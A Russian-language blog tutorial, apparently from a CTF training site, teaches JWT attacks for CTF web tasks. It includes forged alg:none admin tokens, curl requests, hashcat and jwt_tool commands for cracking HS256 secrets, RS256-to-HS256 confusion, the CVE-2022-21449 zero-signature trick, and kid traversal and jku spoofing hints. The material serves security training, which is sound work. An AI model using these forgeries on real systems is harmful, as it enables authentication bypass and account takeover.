
На одном из CTF прошлого сезона я убил 40 минут на веб-задачу — перебирал эндпоинты, ковырял параметры, пробовал SQLi. А решение уместилось в три символа: none в поле alg JWT-header'а и пустая подпись. Флаг пришёл в ответе сервера сразу после подмены cookie. Обидно? Ещё как. JSON Web Token уязвимости в CTF встречаются на каждом втором соревновании: от задач-разминок на root-me до финалов с algorithm confusion и кастомными криптографическими ключами. По данным OWASP Web Security Testing Guide, JWT — один из частых источников уязвимостей в аутентификации веб-приложений, а ошибки реализации регулярно приводят к полной компрометации. Ниже — разбор структуры токена, три основные атаки и конкретные команды jwt_tool и hashcat, чтобы закрыть CTF веб-задачу самому, а не гуглить чужой writeup.
JWT — строка из трёх частей, разделённых точками: header.payload.signature. Каждая часть кодируется в base64url — тот же base64, но с заменой + на -, / на _ и без символов = на конце. Для декодирования подходит CyberChef (веб-версия от GCHQ, установка не нужна) или команда в терминале: echo '<часть_токена>' | tr '_-' '/+' | base64 -d. Вот реальный токен из CTF-задачи: Подробнее — в нашем обзоре атаки на аутентификацию.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.ZvkYYnyM929FM4NW9_hSis7_x3_9rymsDAx9yuOcc1I
Декодируем первую и вторую части:
// Header — метаданные: тип токена и алгоритм подписи
{"typ": "JWT", "alg": "HS256"}
// Payload — claims (утверждения) о пользователе
{"username": "guest", "role": "user"}
Header определяет, как сервер будет проверять подпись. Поле alg — первое, на что смотрим в CTF. HS256 — это HMAC-SHA256, симметричный алгоритм: один и тот же секрет для создания и проверки подписи. RS256 — RSA-SHA256, асимметричная пара: приватный ключ подписывает, публичный проверяет. Значение none означает отсутствие подписи — и это первый вектор атаки.
Payload содержит данные о пользователе. RFC 7519 определяет стандартные claims: iat (время создания), exp (время истечения), sub (идентификатор субъекта). В CTF нас интересуют кастомные поля: "role": "admin", "isAdmin": true, "username": "admin". Payload не шифруется — любой может прочитать содержимое через base64url-декодирование. Вся безопасность JWT держится на подписи.
Signature вычисляется как HMAC-SHA256(base64url(header) + "." + base64url(payload), SECRET_KEY) для алгоритма HS256. Подпись гарантирует целостность: измени хоть один байт в header или payload — подпись не совпадёт. В теории. На практике разработчики допускают ошибки в валидации подписи, и эти ошибки становятся CTF-задачами и реальными CVE.
По классификации OWASP Top 10 2021 JWT-уязвимости попадают сразу под три категории: A01 (Broken Access Control) — подмена claims для повышения привилегий, A02 (Cryptographic Failures) — слабые ключи и некорректная криптография, A05 (Security Misconfiguration) — принятие алгоритма none и отсутствие валидации подписи.
Токен аутентификации веб-приложения прячется в одном из четырёх мест:
jwt, token, session или что-то кастомноеBearer eyJ0eXAi.... Виден в Burp Proxy или вкладке Network в DevToolsПервый шаг в любой JWT-задаче: найти токен, декодировать header и payload, определить алгоритм и интересные claims. Дальше — выбираем вектор атаки.
Прежде чем переходить к атакам — что нужно поставить.
Требования к окружению:
git clone https://github.com/ticarpi/jwt_tool && pip3 install -r requirements.txt/usr/share/wordlists/rockyou.txt; отдельно ~140 МБ)| Инструмент | Задача | Когда использовать | Ограничения |
|---|---|---|---|
| jwt_tool | Автоматизация JWT-атак: scan, crack, forge | Первый инструмент для любой JWT-задачи | Требует Python 3; не все форматы JWE |
| hashcat (m 16500) | Брутфорс HMAC-секрета с GPU | Большие wordlist'ы; нужна скорость | Только HS256/HS384/HS512 |
| CyberChef | Ручное декодирование и кодирование base64url | Быстрый анализ без установки; проверка гипотез | Нет автоматизации атак |
| Burp Suite + JWT Editor | Перехват, редактирование, повтор HTTP-запросов | Работа в реальном HTTP-контексте задачи | Community-версия без автоскана |
В цепочке атаки (kill chain) JWT-эксплуатация начинается на этапе Initial Access — Exploit Public-Facing Application (T1190): атакующий находит уязвимость в обработке токенов публично доступного веб-приложения. Подделка JWT — это Web Cookies (T1606.001, Credential Access): создание или модификация токена для захвата сессии. Использование подделанного токена для доступа к защищённым ресурсам — Application Access Token (T1550.001, Lateral Movement).
Самая частая JWT-уязвимость в CTF, и самая обидная, когда не проверил первой. Спецификация JWT (RFC 7518) допускает значение "alg": "none" — отсутствие подписи. Если серверная библиотека доверяет значению alg из самого токена и не проверяет алгоритм отдельно — подпись можно убрать, а payload подменить.
[Применимо: CTF уровня Easy/Medium; legacy-реализации JWT без whitelist алгоритмов]
Пошаговая эксплуатация (ручной способ):
echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | tr '_-' '/+' | base64 -d → {"typ":"JWT","alg":"HS256"}{"typ":"JWT","alg":"none"}eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0{"username":"admin","role":"admin"}eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0. — обратите внимание на точку в конце: подпись пуста, но разделитель обязателенcurl -H "Cookie: jwt=<token>" <URL>Через jwt_tool весь процесс — одна команда: python3 jwt_tool.py <JWT> -X a. Инструмент автоматически генерирует несколько вариантов токена с разными написаниями none, подставляет их и показывает, какие сервер принял.
Для совсем минималистичного подхода хватит curl: собираем токен руками и отправляем curl -H "Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0." -v http://target/ — если в ответе статус 200 и контент изменился, обход авторизации CTF-задачи сработал.
Согласно OWASP Web Security Testing Guide, если блокировка алгоритма none реализована без учёта регистра, её обходят альтернативными написаниями: None, NONE, nOnE, noNe. jwt_tool при использовании флага -X a перебирает эти варианты автоматически.
Формат signature-части тоже влияет на результат: одни серверы ожидают header.payload. (точка в конце, подпись отсутствует), другие — header.payload (без финальной точки). Если один формат не сработал — пробуем другой. На некоторых CTF-платформах оба формата принимаются, но бывают задачи, где автор жёстко проверяет trailing dot.
Когда alg:none не работает:
none по умолчанию. На CTF уровня Hard автор задания обычно использует актуальную библиотеку с корректной конфигурациейHS256 или RS256, всё остальное отклоняетсяalgНе прошло? Переходим к брутфорсу секрета.
Если сервер корректно отклоняет none, но использует HS256 с коротким или словарным секретом — ключ подбирается офлайн за секунды. По MITRE ATT&CK это Password Cracking (T1110.002, Credential Access): атакующий извлекает подпись JWT и подбирает ключ по словарю.
[Применимо: CTF любого уровня; реальный пентест — веб-приложения с дефолтными или словарными JWT-секретами]
В CTF слабые секреты закладываются авторами намеренно: secret, password, admin123, iloveyou, your-256-bit-secret (дефолт jwt.io). В реальных приложениях ситуация немногим лучше — данные из крупных утечек (набор Exploit.In, 593 миллиона записей) показывают, что предсказуемые секреты остаются нормой.
hashcat — основной инструмент для быстрого перебора:
hashcat -a 0 -m 16500 \
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk" \
/usr/share/wordlists/rockyou.txt
Флаг -a 0 — атака по словарю, -m 16500 — режим JWT для HS256/HS384/HS512. На GPU уровня RTX 3060 перебор rockyou.txt (14 миллионов паролей) занимает секунды. На CPU — от нескольких минут до получаса в зависимости от железа. Успешный результат — строка формата <JWT>:secret123.
Альтернатива без GPU — jwt_tool: python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt. Флаг -C запускает режим crack. Работает медленнее hashcat, но не требует GPU-драйверов и выводит найденный ключ прямо в терминале. Для коротких словарей — за глаза.
Получив секрет (допустим, secret123), генерируем новый токен с нужными claims через jwt_tool: python3 jwt_tool.py <JWT> -T -S hs256 -p "secret123". Флаг -T открывает интерактивный режим — меняем role на admin, username на нужное значение, подтверждаем. Инструмент подписывает токен найденным ключом и выводит готовый JWT.
Другой вариант — jwt.io: вставляем токен в веб-интерфейс, редактируем payload в визуальном редакторе, вводим секрет в поле Verify Signature. Подпись пересчитывается автоматически, готовый токен копируем из верхнего поля.
Если rockyou.txt не дал результат — проверьте дефолтные ключи конкретного фреймворка: changeme, your-256-bit-secret, supersecretkey, shhhhh, jwt_secret_key. Авторы CTF-задач нередко берут их прямо из документации или Stack Overflow.
[Применимо: CTF уровня Medium/Hard; реальный пентест — приложения с доступным публичным ключом и библиотекой, не фиксирующей алгоритм]
Это атака на путаницу между симметричными и асимметричными алгоритмами. Сервер ожидает RS256 (подпись приватным ключом RSA, проверка публичным), но если не фиксирует допустимый алгоритм на своей стороне — атакующий переключает alg на HS256 и подписывает токен публичным ключом сервера, используя его как HMAC-секрет. Красиво, правда?
Согласно исследованию PortSwigger Web Security Academy, некоторые JWT-библиотеки используют одну функцию для проверки и HMAC, и RSA. Node.js-библиотека jsonwebtoken в определённых версиях обрабатывала вызов jwt.verify(token, publicKey) одинаково для обоих типов алгоритмов. Атакующий подписывает токен через HMAC с publicKey — и сервер считает подпись валидной.
Канонический пример algorithm confusion — CVE-2016-10555: библиотека jwt-simple (Node.js) версии 0.3.0 и ниже не фиксировала алгоритм в jwt.decode(), позволяя атакующему отправить HMAC-SHA с публичным ключом RSA вместо ожидаемого RS256. Родственный класс атаки — JWK header injection, CVE-2018-0114 (CVSS 7.5, HIGH): библиотека Cisco node-jose версий ниже 0.11.0 доверяла JWK-ключу, встроенному прямо в header JWT, и позволяла атакующему подставить собственную ключевую пару для подписи произвольного payload. Это не классическая RS256→HS256 confusion, а отдельный вектор (embedded key trust).
Процесс атаки:
/.well-known/jwks.json, /jwks, открытые конфиги приложения, или ключ указан в условии задачи. В редких случаях приложение использует тот же ключ для TLS и JWT — тогда его можно вытянуть через openssl s_client -connect target:443 | openssl x509 -pubkey -noout, но обычно TLS-ключ и JWT-ключ — разные сущностиpublic.pempython3 jwt_tool.py <JWT> -X k -pk public.pemalg на HS256, подпишет токен публичным ключом как HMAC-секретом и выведет готовый JWT для подстановкиЕщё одна связанная уязвимость — CVE-2022-21449 (CVSS 7.5, HIGH), известная как «Psychic Signatures». Затрагивает Oracle Java SE 17.0.2 и 18, Oracle GraalVM Enterprise Edition 21.3.1 и 22.0.0.2. CWE-347 (Improper Verification of Cryptographic Signature): Java некорректно валидировала ECDSA-подписи — подпись с нулевыми компонентами (r=0, s=0) проходила проверку для любого payload. JWT по RFC 7518 §3.4 для ES256 использует формат IEEE P1363 (raw r||s, 64 байта), а не DER. Эксплойт для JWT — подпись из 64 нулевых байт; DER-строка MAYCAQACAQA применима к TLS/X.509, но не к JWT. EPSS 0.4668 (Top 5%). Если в CTF-задаче бэкенд на Java и указан алгоритм ES256 — стоит попробовать подставить подпись из 64 нулевых байт (base64url: 86 символов A).
Ограничения техники:
jwt.verify(token, publicKey, {algorithms: ['RS256']}) явно ограничивает допустимый алгоритм и отклоняет HS256Вместо того чтобы перебирать все техники вслепую — алгоритм выбора вектора:
algpython3 jwt_tool.py <JWT> -X a
- Не сработало → брутфорсим секрет: hashcat -m 16500 <JWT> rockyou.txt
- Секрет не словарный → ищем утечку ключа через LFI, SSRF, открытый .env или /configjwt_tool.py <JWT> -X k -pk public.pem
- Проверяем параметры jku / x5u в header → JWK spoofing с подменой URL на свой серверMAYCAQACAQAkid в header → directory traversal (../../dev/null с пустым ключом), SQL-инъекция в kid
- Модифицируем только payload, оставляя оригинальную подпись — проверяем, не отключена ли валидация подписи полностью (разработчик вызвал jwt.decode() вместо jwt.verify())
- Ищем другой вектор: IDOR, broken access control без привязки к JWTЭтот алгоритм покрывает абсолютное большинство JWT-задач уровня Easy–Hard на CTF-платформах. Формула на бумаге понятна, но decision tree по-настоящему отрабатывается, когда решаешь задачи руками — на HackerLab.pro есть целая категория Web с задачами разного уровня сложности, где JWT-атаки встречаются регулярно.
CTF-задачи на JWT создают специфическое искажение: после десятка writeup'ов кажется, что alg:none и algorithm confusion — главные JWT-проблемы в индустрии. На реальных пентестах картина другая. За последние два года я встретил ровно один случай работающего alg:none в продакшене — на забытом staging-сервере, который торчал наружу через поддомен. Зато слабые секреты — в каждом втором проекте с кастомной JWT-реализацией. Строка secret или your-256-bit-secret в .env файле, скопированном из туториала и оставленном без изменений.
Вторая проблема, которую CTF практически не тренирует: токены без exp. JWT, который живёт бессрочно, — это пропуск без даты окончания. Утёк через XSS, попал в логи балансировщика, остался в кеше CDN — и работает месяцами. В реальном пентесте первое, что проверяю, — есть ли exp в payload и действительно ли сервер его валидирует. В девяти случаях из десяти exp либо отсутствует, либо стоит с запасом в несколько лет.
Третье — kid-инъекции. В CTF это экзотика уровня Hard, но в приложениях с микросервисной архитектурой, где JWT проверяется на каждом сервисе, параметр kid может указывать на файл в файловой системе или строку в базе данных. Directory traversal через kid с ../../dev/null и пустым ключом работает чаще, чем хотелось бы признавать.
CTF учит механику JWT-атак — и это ценный фундамент. Но между «решил задачу на root-me» и «нашёл JWT-баг на пентесте» — пропасть в контексте. В задаче сервер принимает none, потому что автор это заложил. В продакшене — потому что разработчик вызвал jwt.decode() вместо jwt.verify() и никто не поймал ошибку на code review. Если хочешь не просто решать CTF, а находить такие ошибки системно — на WAPT веб-эксплуатацию разбирают от JWT до SSRF с лабами на каждый вектор.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...